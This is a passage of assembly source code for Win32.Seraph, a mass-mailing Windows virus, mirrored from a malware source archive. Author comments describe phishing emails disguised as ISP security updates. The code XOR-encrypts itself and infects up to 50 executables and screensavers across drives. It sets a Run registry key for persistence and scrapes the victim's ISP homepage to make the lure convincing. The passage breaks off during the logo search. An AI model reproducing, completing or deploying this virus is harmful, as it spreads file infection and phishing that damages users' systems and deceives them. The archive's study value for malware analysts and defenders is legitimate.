mirror of
https://github.com/vxunderground/MalwareSourceCode
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2851 lines
98 KiB
NASM
2851 lines
98 KiB
NASM
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;
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; [ Win32.Seraph@mm Vorgon/iKX ]
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; [ 28672 bytes Target - PE ]
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; [ 09/28/03 Made in Canada ]
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;
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;
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;
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;
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; [ Introduction ]
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;
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; Seraph is a mass-mailing virus that takes advantage of social engineering. This may sound
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; boring to you, but it takes social engineering to the next level. Seraph is an information
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; gatherer. It takes data from websites, computers, URL's and uses what it finds to generate
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; a convincing and personal email message.
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;
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; So what information does Seraph gather? Seraph gathers information about the Internet service
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; provider of the computers it infects. Information such as:
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;
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; ISP Name example: AOL
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; Domain example: AOL.COM
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; Website example: WWW.AOL.COM
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; Logo example: HTTP://www.aol.com/logo.gif
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; Deadline example: SEPTEMBER 21, 2003
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; Copyright String example: (C) 2003 AOL INC.
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;
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; What does Seraph do with this information? Seraph takes everything you see above and generates
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; an email message in HTML format. The message containing a logo image, names, valid email
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; addresses, etc, appears to be a security update from your ISP. Unsuspecting victims reading this
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; email message see that they must install the attached update by the deadline date, or face
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; disconnection of there Internet service.
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;
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; How does Seraph know the email addresses of other people on the same ISP? Seraph takes a list
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; of the 1024 most popular surnames in the USA and randomly selects one. It then a appends a first
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; initial either the start or the end of the surname. This gives a possible 53238 email addresses
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; per ISP.
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;
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; Sure this will spread to users on the same ISP, but how does it spread to other ISP's? Seraph
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; is highly infectious. Every time it runs it infects 50 files on all drives it can find on a
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; computer, except CD-ROM and drive A. It will naturally find executables in file sharing
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; directories, shared folders, and anything else you can imagine.
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;
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;
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; [ Other ]
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;
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; I named this virus after Seraph from the Matrix Reloaded. Seraph (the Chinese guy Neo meets
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; before meeting the Oracle) had golden code and was so spectacular because he came from the first
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; incarnation of the matrix, which was heaven. "Seraph" is singular for the plural "seraphim". The
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; seraphim are the highest choir of angels and included amongst others: Lucifer, Gabriele, Raziel
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; and Malaciah, and they sit on the 8th level of Heaven just one below God.
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;
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;
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; [ Bug Fixes ]
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;
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; Below are a list of bugs i have fixed in this version.
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;
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; -The find file code begins searching at the start of the first drive instead of the current
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; Directory. This bug was causing the entire contents of the most important drive to be excluded
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; from the search.
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;
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; -Files in the system directory are no longer infected. Infecting files in this directory was
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; causing Windows to not boot at all.
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;
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; -The program to be run on start-up is no longer whatever infected program is executed. It has
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; been changed to the program that was last infected. Before if the user deleted the infected
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; email attachment after executing the virus it would not be able to run on start-up.
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;
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;
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; [ The Infection ]
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;
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; Below is a break down of what the virus does in order:
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;
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; - Decrypt the virus
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; - Get the address of GetModuleHandleA
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; - Get the kernel32.dll address
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; - Get the address of GetProcAddress
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; - Load the win9x API functions
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; - Create a thread to execute the rest of the virus code
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; - Infect 50 files on drives B-Z, excluding CD-ROM
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; - Make the last file infected run on start-up
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; - Display an install message if the filename is patch110.exe
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; - On February 23 display the pay load
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; - Load the win2k API functions if the OS version permits
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; - Get the IP address of the computer
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; - Get the hostname of the computer
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; - Extract the ISP domain from the host name of the computer
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; - Download the main page of the internet service provider and handle redirections
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; - Search the webpage for a logo image URL
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; - Get the company name of the ISP
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; - Create a dead line date for the email message
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; - Generate an email address
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; - Create the email message using all the data collected
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; - Send the email message
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; - Send the current host EXE as the update attachment.
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; - Exit the thread
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;
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;
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; [ Assembling ]
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;
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; tasm32 /ml /jLOCALS seraph
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; tlink32 -aa -x /Tpe /c seraph,seraph,,import32.lib,,
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; editbin /SECTION:CODE,rwe seraph.exe
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;
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;
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; [ Greetz ]
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;
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; T00fic, Morphine, Eddow, Raid, Gigabyte, Kefi, SPTH, Kernel32
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;
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;
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.486p
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.MODEL flat, stdcall
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EXTRN GetModuleHandleA : PROC
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;-------------------------------------------------------------------------------------------------;
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; Constants ;
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;-------------------------------------------------------------------------------------------------;
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; file I/O constants
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OPEN_EXISTING EQU 3
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GENERIC_READ EQU 80000000h
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GENERIC_WRITE EQU 40000000h
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FILE_SHARE_READ EQU 1
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FILE_SHARE_WRITE EQU 2
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FILE_BEGIN EQU 0
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FILE_END EQU 2
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; DNS constants
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DNS_QUERY_STANDARD EQU 0
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DNS_TYPE_PTR EQU 12
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DNS_TYPE_MX EQU 15
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DNSREC_ANSWER EQU 1
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DNS_FREE_RECORD_LIST_DEEP EQU 1
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; winsock constants
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AF_INET EQU 2
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SOCK_STREAM EQU 1
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PCL_NONE EQU 0
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SO_RCVTIMEO EQU 1006h
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SO_SNDTIMEO EQU 1005h
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SOL_SOCKET EQU 0FFFFh
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; registry constants
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HKEY_LOCAL_MACHINE EQU 80000002h
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REG_SZ EQU 1
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; MISC constants
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GMEM_FIXED EQU 0
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SECTION_RWE EQU 0E0000020h
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TRUE EQU 1
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FALSE EQU 0
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EXIT_THREAD EQU 1
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CRLF EQU 13, 10
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DRIVE_CDROM EQU 5
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;-------------------------------------------------------------------------------------------------;
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; Structures ;
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;-------------------------------------------------------------------------------------------------;
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PE_HEADER STRUC
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dwSignature DD 0
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wMachine DW 0
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wNumberOfSections DW 0
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dwTimeDateStamp DD 0
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dwPointerToSymbolTable DD 0
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dwNumberOfSymbols DD 0
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wSizeOfOptionalHeader DW 0
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wCharacteristics DW 0
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wMagic DW 0
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cMajorLinkerVersion DB 0
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cMinorLinkerVersion DB 0
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dwSizeOfCode DD 0
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dwSizeOfInitializedData DD 0
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dwSizeOfUninitializedData DD 0
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dwAddressOfEntryPoint DD 0
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dwBaseOfCode DD 0
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dwBaseOfData DD 0
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dwImageBase DD 0
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dwSectionAlignment DD 0
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dwFileAlignment DD 0
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wMajorOperatingSystemVersion DW 0
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wMinorOperatingSystemVersion DW 0
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wMajorImageVersion DW 0
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wMinorImageVersion DW 0
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wMajorSubsystemVersion DW 0
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wMinorSubsystemVersion DW 0
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dwReserved1 DD 0
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dwSizeOfImage DD 0
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dwSizeOfHeaders DD 0
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dwCheckSum DD 0
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wSubsystem DW 0
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wDllCharacteristics DW 0
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dwSizeOfStackReserve DD 0
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dwSizeOfStackCommit DD 0
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dwSizeOfHeapReserve DD 0
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dwSizeOfHeapCommit DD 0
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dwLoaderFlags DD 0
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dwNumberOfRvaAndSizes DD 0
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dwExportDirectoryVA DD 0
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dwExportDirectorySize DD 0
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dwImportDirectoryVA DD 0
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dwImportDirectorySize DD 0
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dwResourceDirectoryVA DD 0
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dwResourceDirectorySize DD 0
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dwExceptionDirectoryVA DD 0
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dwExceptionDirectorySize DD 0
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dwSecurityDirectoryVA DD 0
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dwSecurityDirectorySize DD 0
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dwBaseRelocationTableVA DD 0
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dwBaseRelocationTableSize DD 0
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dwDebugDirectoryVA DD 0
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dwDebugDirectorySize DD 0
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dwArchitectureSpecificDataVA DD 0
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dwArchitectureSpecificDataSize DD 0
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dwRVAofGPVA DD 0
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dwRVAofGPSize DD 0
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dwTLSDirectoryVA DD 0
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dwTLSDirectorySize DD 0
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dwLoadConfigurationDirectoryVA DD 0
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dwLoadConfigurationDirectorySize DD 0
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dwBoundImportDirectoryinheadersVA DD 0
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dwBoundImportDirectoryinheadersSize DD 0
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dwImportAddressTableVA DD 0
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dwImportAddressTableSize DD 0
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dwDelayLoadImportDescriptorsVA DD 0
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dwDelayLoadImportDescriptorsSize DD 0
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dwCOMRuntimedescriptorVA DD 0
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dwCOMRuntimedescriptorSize DD 0
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dwNULL1 DD 0
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dwNULL2 DD 0
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PE_HEADER ENDS
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SECTION_HEADER STRUC
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sAnsiName DB 8 DUP(0)
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dwVirtualSize DD 0
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dwVirtualAddress DD 0
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dwSizeOfRawData DD 0
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dwPointerToRawData DD 0
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dwPointerToRelocations DD 0
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dwPointerToLinenumbers DD 0
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wNumberOfRelocations DW 0
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wNumberOfLinenumbers DW 0
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dwCharacteristics DD 0
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SECTION_HEADER ENDS
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DOS_HEADER STRUC
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wSignature DW 0
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wBytesInLastBlock DW 0
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wBlocksInFile DW 0
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wNumberOfRelocs DW 0
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wHeaderParagraphs DW 0
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wMinExtraParagraphs DW 0
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wMaxExtraParagraphs DW 0
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wSS DW 0
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wSP DW 0
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wChecksum DW 0
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wIP DW 0
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wCS DW 0
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wRelocTableOffset DW 0
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wOverlayNumber DW 0
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sUnused DB 32 DUP(0)
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lpPEHeader DD 0
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DOS_HEADER ENDS
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WSA_DATA STRUC
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wVersion DW 0
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wHighVersion DW 0
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szDescription DB 257 dup(0)
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szSystemStatus DB 129 dup(0)
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iMaxSockets DW 0
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iMaxUdpDg DW 0
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lpVendorInfo DD 0
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WSA_DATA ENDS
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SOCK_ADDRESS STRUC
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sin_family DW 0
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sin_port DW 0
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sin_addr DD 0
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sin_zero DB 8 dup(0)
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SOCK_ADDRESS ENDS
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DNS_RECORD STRUC
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pNext DD 0
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pName DD 0
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wType DW 0
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wDataLength DW 0
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flags DD 0
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dwTtl DD 0
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dwReserved DD 0
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DNS_RECORD ENDS
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SYSTEM_TIME STRUC
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wYear DW 0
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wMonth DW 0
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wDayOfWeek DW 0
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wDay DW 0
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wHour DW 0
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wMinute DW 0
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wSecond DW 0
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wMiliseconds DW 0
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SYSTEM_TIME ENDS
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WIN32_FIND_DATA STRUC
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FileAttributes DD 0
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CreateTime DQ 0
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LastAccessTime DQ 0
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LastWriteTime DQ 0
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FileSizeHigh DD 0
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FileSizeLow DD 0
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Reserved0 DD 0
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Reserved1 DD 0
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FullFileName DB 260 dup(0)
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AlternateFileName DB 14 dup(0)
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WIN32_FIND_DATA ENDS
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;-------------------------------------------------------------------------------------------------;
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; Macros ;
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;-------------------------------------------------------------------------------------------------;
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ImportTable MACRO tableName
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&tableName:
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ENDM
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EndImport MACRO
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DB 0
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ENDM
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EndImportTable MACRO
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DB '$'
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ENDM
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ImportDll MACRO dllName
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sz&dllName DB '&dllName', '.dll', 0
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ENDM
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ImportFunction MACRO functionName
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sz&functionName DB '&functionName', 0
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&functionName DD 0
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ENDM
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ApiCall MACRO functionName
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call [ebp+&functionName]
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ENDM
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pushptr MACRO variable
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lea eax, [ebp+&variable]
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push eax
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ENDM
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pushval MACRO variable
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push [ebp+&variable]
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ENDM
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.DATA
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DD 0 ; TASM gayness
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;-------------------------------------------------------------------------------------------------;
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; Code Section ;
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;-------------------------------------------------------------------------------------------------;
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.CODE
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main:
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;-------------------------------------------------------------------------------------------------;
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; Load the virus and its resources. ;
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;-------------------------------------------------------------------------------------------------;
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; get the delta pointer
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call getDeltaPointer ; where am i?!?!
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getDeltaPointer:
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pop edi
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mov ebp, edi
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sub ebp, offset getDeltaPointer
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; very basic XOR decryption to hide strings
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cmp ebp, 0
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je encrypted
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lea esi, [ebp+encrypted]
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mov ecx, CODE_SIZE - (offset encrypted - offset main)
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decrypt:
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xor byte ptr [esi], 123
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inc esi
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loop decrypt
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; all code from this point on will be encrypted
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encrypted:
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; get the image base
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sub edi, 5
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mov [ebp+lpStartOfCode], edi ; save the start of code
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and edi, 0FFFFF000h ; round off the VA to the nearest page
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findImageBase:
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cmp word ptr [edi], 'ZM' ; start of image?
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je findKernel
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sub edi, 1000h
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jmp findImageBase
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; find the address of the kernel32
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findKernel:
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mov [ebp+lpImageBase], edi
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mov eax, edi
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mov ebx, [eax+3ch] ; ebx = pointer to the PE header
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mov esi, [ebx+eax+128]
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add esi, eax ; esi = pointer to the import section
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xor ecx, ecx
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findKernel32:
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mov ebx, [esi+ecx+12] ; get an RVA to the dll name
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cmp ebx, 0 ; no more dll's left?
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je returnHostControl
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add ebx, eax
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cmp dword ptr [ebx], 'NREK' ; Kernel32.dll found?
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je findGetModuleHandleA
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add ecx, 20 ; next import
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jmp findKernel32
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findGetModuleHandleA:
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mov edx, [esi+ecx]
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sub edx, 4
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lea esi, [esi+ecx]
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xor ecx, ecx
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findName:
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inc ecx
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add edx, 4
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mov ebx, [edx+eax] ; next name
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cmp ebx, 0 ; no more function names left?
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je returnHostControl
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lea ebx, [ebx+eax+2]
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cmp dword ptr [ebx], 'MteG'
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jne findName
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cmp dword ptr [ebx+4], 'ludo'
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jne findName
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cmp dword ptr [ebx+8], 'naHe'
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jne findName
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cmp dword ptr [ebx+12], 'Aeld' ; GetModuleHandleA?
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jne findName
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; get the address of the GetModuleHandleA function
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mov esi, [esi+16]
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add esi, eax
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rep lodsd
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; create the string "kernel32.dll" on the stack
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push 0
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push dword ptr 'lld.'
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push dword ptr '23le'
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push dword ptr 'nrek'
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; call GetModuleHandleA to retrieve the address of the kernel32.dll
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push esp
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call eax
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mov [ebp+lpKernel32], eax ; save the kernel32 address
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; get the address of the GetProcAddress API function
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mov ebx, [eax+3ch]
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add ebx, eax
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mov ebx, [ebx+120] ; get the export table VA
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add ebx, eax
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mov esi, [ebx+28] ; get the VA of the address table
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add esi, eax
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mov edi, [ebx+32] ; get the VA of the name table
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add edi, eax
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mov ecx, [ebx+36] ; get the VA of the ordinal table
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add ecx, eax
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findGetProcAddress:
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add ecx, 2 ; next ordinal
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add edi, 4 ; next name
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mov edx, [edi]
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add edx, eax
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cmp dword ptr [edx], 'PteG'
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jne findGetProcAddress
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cmp dword ptr [edx+4], 'Acor' ; GetProcAddress?
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jne findGetProcAddress
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mov cx, [ecx]
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and ecx, 0FFFFh
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add ecx, [ebx+16] ; add ordinal base
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rep lodsd ; get the VA address corrasponding to the ordinal
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add eax, [ebp+lpKernel32]
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mov [ebp+GetProcAddress], eax
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; get the address of the LoadLibraryA API function
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pushptr szLoadLibraryA
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pushval lpKernel32
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ApiCall GetProcAddress
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mov [ebp+LoadLibraryA], eax
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; load the Windows 9x API functions
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lea eax, [ebp+API_Imports_9x]
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call LoadImports
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cmp eax, -1
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je apiLoadError
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; create a thread to execute the rest of the code
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pushptr hThread
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push 0
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push ebp ; pass the delta pointer to the thread
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pushptr background
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push 0
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push 0
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ApiCall CreateThread
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; if /iKX is present in the command line then loop until the thread closes
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ApiCall GetCommandLineA
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mov ecx, 256
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parseCommandLine:
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cmp dword ptr [eax], 'XKi/'
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je wait
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inc eax
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loop parseCommandLine
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; if this is not the first generation then return control to the host
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cmp ebp, 0
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jne returnHostControl
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; if this is the first generation then loop until the thread closes
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wait:
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cmp [ebp+dwThreadStatus], EXIT_THREAD
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jne wait
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push 0
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ApiCall ExitProcess
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; return control to the host
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returnHostControl:
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mov eax, [ebp+lpReturnAddress]
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add eax, [ebp+lpImageBase]
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push eax
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ret
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; if an api function cannot be loaded then either return control to the host or exit program
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apiLoadError:
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cmp ebp, 0
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jne returnHostControl
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push 0
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ApiCall ExitProcess
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;-------------------------------------------------------------------------------------------------;
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; Background Thread. ;
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;-------------------------------------------------------------------------------------------------;
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background:
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mov ebp, [esp+4] ; restore the delta offset
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;-------------------------------------------------------------------------------------------------;
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; Infect 50 files in drives B-Z, except the CD-ROM drive. ;
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;-------------------------------------------------------------------------------------------------;
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xor esi, esi ; files infected counter
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mov byte ptr [ebp+szDrive], 'A' ; set the drive to start searching at
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nextDrive:
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inc byte ptr [ebp+szDrive] ; next drive
|
|
cmp byte ptr [ebp+szDrive], 'Z'+1 ; all drives searched?
|
|
je payload
|
|
pushptr szDrive
|
|
ApiCall GetDriveTypeA
|
|
cmp eax, DRIVE_CDROM ; CD-ROM drive?
|
|
je nextDrive
|
|
pushptr szDrive
|
|
ApiCall SetCurrentDirectoryA ; set the current directory to the root of that drive
|
|
cmp eax, 0
|
|
je nextDrive
|
|
|
|
findFiles:
|
|
mov edi, esp ; save the stack pointer
|
|
push 0BAADF00Dh ; end of files marker
|
|
findFirstFile:
|
|
pushptr win32FindData
|
|
pushptr szSearchString
|
|
ApiCall FindFirstFileA ; find the first file
|
|
mov [ebp+hFind], eax
|
|
checkType:
|
|
cmp eax, 0
|
|
je downDirectory
|
|
cmp byte ptr [ebp+win32FindData.FullFileName], '.'
|
|
je findNextFile
|
|
cmp [ebp+win32FindData.FileAttributes], 10h
|
|
je upDirectory
|
|
cmp [ebp+win32FindData.FileAttributes], 30h
|
|
je upDirectory
|
|
|
|
; check the file extension for .exe or .scr
|
|
push edi
|
|
mov al, '.'
|
|
mov ecx, 260
|
|
lea edi, [ebp+win32FindData.FullFileName]
|
|
repne scasb ; seek to the file extension
|
|
mov eax, [edi-1]
|
|
pop edi
|
|
and eax, 0DFDFDFFFh ; make upper case
|
|
cmp eax, 'EXE.' ; executable file?
|
|
je infectFile
|
|
cmp eax, 'RCS.' ; screen saver?
|
|
je infectFile
|
|
jmp findNextFile
|
|
|
|
infectFile:
|
|
|
|
; check to see if the file is a valid PE executable and is not already infected
|
|
push esi
|
|
push edi
|
|
lea esi, [ebp+win32FindData.FullFileName]
|
|
call IsValid
|
|
pop edi
|
|
pop esi
|
|
cmp eax, -1
|
|
je findNextFile
|
|
|
|
; if the executable file is in the system directory then dont infect it
|
|
push 256
|
|
pushptr szSystemDirectory
|
|
ApiCall GetSystemDirectoryA
|
|
pushptr szSystemDirectory
|
|
ApiCall CharUpperA
|
|
pushptr szCurrentDirectory
|
|
push 256
|
|
ApiCall GetCurrentDirectoryA
|
|
pushptr szCurrentDirectory
|
|
ApiCall CharUpperA
|
|
pushptr szSystemDirectory
|
|
pushptr szCurrentDirectory
|
|
ApiCall lstrcmpA
|
|
cmp eax, 0
|
|
je findNextFile
|
|
|
|
; infect the file
|
|
push esi
|
|
lea esi, [ebp+win32FindData.FullFileName]
|
|
call AttachCode
|
|
pop esi
|
|
cmp eax, -1
|
|
je findNextFile
|
|
|
|
; increment the file infection counter
|
|
inc esi
|
|
cmp esi, 50 ; infect 50 files
|
|
jne findNextFile
|
|
|
|
; if 50 files have been infected stop searching
|
|
mov esp, edi
|
|
jmp searchComplete
|
|
|
|
findNextFile:
|
|
pushptr win32FindData
|
|
pushval hFind
|
|
ApiCall FindNextFileA ; find the next file
|
|
jmp checkType
|
|
|
|
upDirectory:
|
|
pushptr win32FindData.FullFileName
|
|
ApiCall SetCurrentDirectoryA
|
|
cmp eax, 0
|
|
je findNextFile
|
|
pushval hFind ; save the find handle
|
|
jmp findFirstFile
|
|
|
|
downDirectory:
|
|
pushptr szBackDir
|
|
ApiCall SetCurrentDirectoryA
|
|
pushval hFind
|
|
ApiCall FindClose ; close the find handle
|
|
pop [ebp+hFind] ; restore the previous find handle
|
|
cmp [ebp+hFind], 0BAADF00Dh ; no more files left to find?
|
|
jne findNextFile
|
|
mov esp, edi ; restore the stack pointer
|
|
jmp nextDrive ; find another drive to infect
|
|
searchComplete:
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Make it so the last infected file runs on start-up. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; copy the current path to a buffer
|
|
pushptr szCurrentDirectory
|
|
pushptr szModuleName
|
|
ApiCall lstrcpyA
|
|
|
|
; append a slash
|
|
pushptr szSlash
|
|
pushptr szModuleName
|
|
ApiCall lstrcatA
|
|
|
|
; append the executable file name
|
|
pushptr win32FindData.FullFileName
|
|
pushptr szModuleName
|
|
ApiCall lstrcatA
|
|
|
|
; concat the commandline parameter /iKX to the key value
|
|
pushptr szIkxParameter
|
|
pushptr szModuleName
|
|
ApiCall lstrcatA
|
|
|
|
; open "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
|
|
pushptr hKey
|
|
pushptr szSubKey
|
|
push HKEY_LOCAL_MACHINE
|
|
ApiCall RegOpenKeyA
|
|
cmp eax, 0
|
|
jne exitThread
|
|
|
|
; get the length of the module name
|
|
pushptr szModuleName
|
|
ApiCall lstrlenA
|
|
|
|
; set the start-up program
|
|
push eax
|
|
pushptr szModuleName
|
|
push REG_SZ
|
|
push 0
|
|
pushptr szValueName
|
|
pushval hKey
|
|
ApiCall RegSetValueExA
|
|
|
|
; close the key
|
|
pushval hKey
|
|
ApiCall RegCloseKey
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Display the patch install message if the module name is "patch110.exe" ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; get the path and name of this program
|
|
push 256
|
|
pushptr szModuleName
|
|
push 0
|
|
ApiCall GetModuleFileNameA
|
|
|
|
; seek to a dot
|
|
lea edi, [ebp+szModuleName]
|
|
mov al, '.'
|
|
mov ecx, 256
|
|
repne scasb
|
|
|
|
; seek backwards to a slash
|
|
std
|
|
mov al, '\'
|
|
repne scasb
|
|
cld
|
|
add edi, 2
|
|
|
|
; compair the filename to "patch110.exe"
|
|
mov ecx, 12
|
|
lea esi, [ebp+szPatchName]
|
|
rep cmpsb
|
|
cmp ecx, 0
|
|
jne payload
|
|
|
|
; display the patch install message
|
|
push 0
|
|
pushptr szPatchTitle
|
|
pushptr szPatchInstall
|
|
push 0
|
|
ApiCall MessageBoxA
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Display a poem by John Keats on the day of his death. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
payload:
|
|
|
|
; get today's date
|
|
pushptr date
|
|
ApiCall GetSystemTime
|
|
|
|
; Feb 23?
|
|
cmp [ebp+date.wMonth], 2
|
|
jne loadImports
|
|
cmp word ptr [ebp+date.wDay], 24
|
|
jne loadImports
|
|
|
|
; display poem
|
|
push 0
|
|
pushptr szTitle
|
|
pushptr szElginMarbles
|
|
push 0
|
|
ApiCall MessageBoxA
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Load the Windows 2k Imports. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
loadImports:
|
|
|
|
; Windows 2k+ OS?
|
|
ApiCall GetVersion
|
|
cmp al, 5
|
|
jl exitThread
|
|
|
|
; load the Windows 2k API functions
|
|
lea eax, [ebp+API_Imports_2k]
|
|
call LoadImports
|
|
cmp eax, -1
|
|
je exitThread
|
|
|
|
; internet connection?
|
|
push 0
|
|
pushptr dwConnectionState
|
|
ApiCall InternetGetConnectedState
|
|
cmp eax, FALSE
|
|
je exitThread
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Get the IP address of this computer. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; initialize winsock
|
|
pushptr wsaData
|
|
push 0101h
|
|
ApiCall WSAStartup
|
|
cmp eax, 0
|
|
jne exitThread
|
|
|
|
; get the local host name of this computer
|
|
push 132
|
|
pushptr szHostName
|
|
ApiCall gethostname
|
|
cmp eax, 0
|
|
jne exitThread
|
|
|
|
; clear the reverse IP buffer
|
|
push 29
|
|
pushptr szReverseIP
|
|
ApiCall RtlZeroMemory
|
|
|
|
; get the IP address of the local host
|
|
pushptr szHostName
|
|
ApiCall gethostbyname
|
|
cmp eax, 0
|
|
je exitThread
|
|
mov eax, [eax+12]
|
|
mov eax, [eax]
|
|
mov eax, [eax]
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Get the host name of this computer. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
getHostName:
|
|
|
|
bswap eax ; reverse the byte order of the IP
|
|
|
|
; convert the IP address to a string
|
|
push eax
|
|
ApiCall inet_ntoa
|
|
|
|
; copy the reverse IP string to the buffer
|
|
push eax
|
|
pushptr szReverseIP
|
|
ApiCall lstrcpyA
|
|
|
|
; concat the .in-addr.arpa string
|
|
pushptr szArpa
|
|
pushptr szReverseIP
|
|
ApiCall lstrcatA
|
|
|
|
; query a DNS server for the host name of this computer
|
|
push 0
|
|
pushptr lpResults
|
|
push 0
|
|
push DNS_QUERY_STANDARD
|
|
push DNS_TYPE_PTR
|
|
pushptr szReverseIP
|
|
ApiCall DnsQuery_A
|
|
cmp eax, 0
|
|
jne exitThread
|
|
|
|
; was an answer record found?
|
|
push size DNS_RECORD
|
|
pushval lpResults
|
|
pushptr dnsRecordHeader
|
|
ApiCall RtlMoveMemory
|
|
mov eax, [ebp+dnsRecordHeader.flags]
|
|
and al, 00000011b
|
|
cmp al, DNSREC_ANSWER
|
|
jne exitThread
|
|
|
|
; clear the szHostName buffer
|
|
push 132
|
|
pushptr szHostName
|
|
ApiCall RtlZeroMemory
|
|
|
|
; get the host name from the DNS response message
|
|
mov eax, [ebp+lpResults]
|
|
add eax, size DNS_RECORD
|
|
mov eax, [eax]
|
|
push eax
|
|
pushptr szHostName
|
|
ApiCall lstrcpyA
|
|
|
|
; release the DNS record list
|
|
push DNS_FREE_RECORD_LIST_DEEP
|
|
pushval lpResults
|
|
ApiCall DnsRecordListFree
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Extract the ISP host name from this computers host name. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; seek to the end of the domain
|
|
lea esi, [ebp+szHostName]
|
|
push esi
|
|
ApiCall lstrlenA
|
|
add esi, eax
|
|
|
|
; seek backwards to a period or the start of domain
|
|
findPeriod:
|
|
dec esi
|
|
lea eax, [ebp+szHostName]
|
|
cmp esi, eax ; start of host name?
|
|
je copyFullDomain
|
|
cmp byte ptr [esi], '.'
|
|
jne findPeriod
|
|
mov ebx, esi
|
|
|
|
; compair domains
|
|
lea edi, [ebp+topDomains]
|
|
compairDomain:
|
|
mov al, [ebx+1]
|
|
mov ah, [edi]
|
|
inc ebx
|
|
inc edi
|
|
cmp ax, 0
|
|
je findPeriod
|
|
cmp ax, 002Eh
|
|
je findPeriod
|
|
cmp al, ah
|
|
je compairDomain
|
|
|
|
; seek to the next domain in the list
|
|
push edi
|
|
ApiCall lstrlenA
|
|
add edi, eax
|
|
inc edi
|
|
|
|
; no more domains left?
|
|
mov ebx, esi
|
|
cmp byte ptr [edi], '$'
|
|
jne compairDomain
|
|
inc esi
|
|
|
|
copyFullDomain:
|
|
|
|
; clear the szIspHostName buffer
|
|
push 132
|
|
pushptr szIspDomainName
|
|
ApiCall RtlZeroMemory
|
|
|
|
; copy the domain to a buffer
|
|
push esi
|
|
pushptr szIspDomainName
|
|
ApiCall lstrcpyA
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Download the main webpage of the Internet Service Provider. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; allocate 64k for the webpage
|
|
push 65536
|
|
push GMEM_FIXED
|
|
ApiCall GlobalAlloc
|
|
cmp eax, 0
|
|
je exitThread
|
|
mov [ebp+lpWebpage], eax
|
|
|
|
; initialize wininet
|
|
push 0
|
|
push 0
|
|
push 0
|
|
push 0
|
|
push 0
|
|
ApiCall InternetOpenA
|
|
cmp eax, 0
|
|
je exitThread
|
|
mov [ebp+hInternet], eax
|
|
|
|
; copy the domain to a buffer
|
|
pushptr szWWW
|
|
pushptr szIspWebpage
|
|
ApiCall lstrcpyA
|
|
|
|
; concat the ISP domain
|
|
pushptr szIspDomainName
|
|
pushptr szIspWebpage
|
|
ApiCall lstrcatA
|
|
|
|
; open the webpage URL
|
|
openUrl:
|
|
push 0
|
|
push 0
|
|
push 0
|
|
push 0
|
|
pushptr szIspWebpage
|
|
pushval hInternet
|
|
ApiCall InternetOpenUrlA
|
|
cmp eax, 0
|
|
je exitThread
|
|
mov [ebp+hFile], eax
|
|
|
|
; download the webpage
|
|
mov edi, [ebp+lpWebpage]
|
|
xor esi, esi
|
|
downloadWebpage:
|
|
pushptr dwNumberOfBytes
|
|
push 65536
|
|
push edi
|
|
pushval hFile
|
|
ApiCall InternetReadFile
|
|
add edi, [ebp+dwNumberOfBytes]
|
|
add esi, [ebp+dwNumberOfBytes]
|
|
cmp [ebp+dwNumberOfBytes], 0
|
|
jne downloadWebpage
|
|
mov [ebp+dwWebpageSize], esi
|
|
|
|
; if the webpage size is greater then 500 bytes then find the logo
|
|
cmp esi, 500
|
|
jg findLogoUrl
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Handle webpage redirections. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
; find a URL in the webpage
|
|
xor ecx, ecx
|
|
mov edx, esi
|
|
mov edi, [ebp+lpWebpage]
|
|
lea esi, [ebp+szIspWebpage]
|
|
findUrl:
|
|
mov eax, [edi]
|
|
and eax, 00FFFFFFh
|
|
cmp eax, 2F2F3Ah
|
|
je findUrlStart
|
|
inc edi
|
|
inc ecx
|
|
cmp ecx, edx
|
|
jne findUrl
|
|
jmp exitThread
|
|
|
|
; find the start of the URL
|
|
findUrlStart:
|
|
cmp byte ptr [edi], '"'
|
|
je copyUrl
|
|
cmp byte ptr [edi], ' '
|
|
je copyUrl
|
|
cmp byte ptr [edi], '='
|
|
je copyUrl
|
|
cmp byte ptr [edi], '('
|
|
je copyUrl
|
|
dec edi
|
|
dec ecx
|
|
cmp ecx, 0
|
|
jne findUrlStart
|
|
jmp exitThread
|
|
|
|
; copy the URL to a buffer
|
|
copyUrl:
|
|
inc edi
|
|
inc ecx
|
|
mov al, [edi]
|
|
mov [esi], al
|
|
inc esi
|
|
cmp ecx, edx
|
|
je exitThread
|
|
cmp al, '"'
|
|
je copyComplete
|
|
cmp al, ' '
|
|
je copyComplete
|
|
cmp al, ')'
|
|
je copyComplete
|
|
jmp copyUrl
|
|
|
|
; zero terminate the URL and download the webpage
|
|
copyComplete:
|
|
mov byte ptr [esi-1], 0
|
|
jmp openUrl
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Find a logo image URL on the webpage. ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
findLogoUrl:
|
|
|
|
; find the word "logo"
|
|
xor ecx, ecx
|
|
mov esi, [ebp+lpWebpage]
|
|
lea edi, [ebp+szUrl]
|
|
findLogo:
|
|
mov eax, [esi]
|
|
and eax, 0DFDFDFDFh
|
|
cmp eax, 'OGOL'
|
|
je findType
|
|
cmp ecx, [ebp+dwWebpageSize]
|
|
je exitThread
|
|
inc esi
|
|
inc ecx
|
|
jmp findLogo
|
|
|
|
; find the file extension ".gif" or ".jpg"
|
|
findType:
|
|
mov eax, [esi]
|
|
cmp al, ' '
|
|
je findLogo
|
|
and eax, 0DFDFDFFFh
|
|
cmp eax, 'FIG.'
|
|
je findImgStart
|
|
cmp eax, 'GPJ.'
|
|
je findImgStart
|
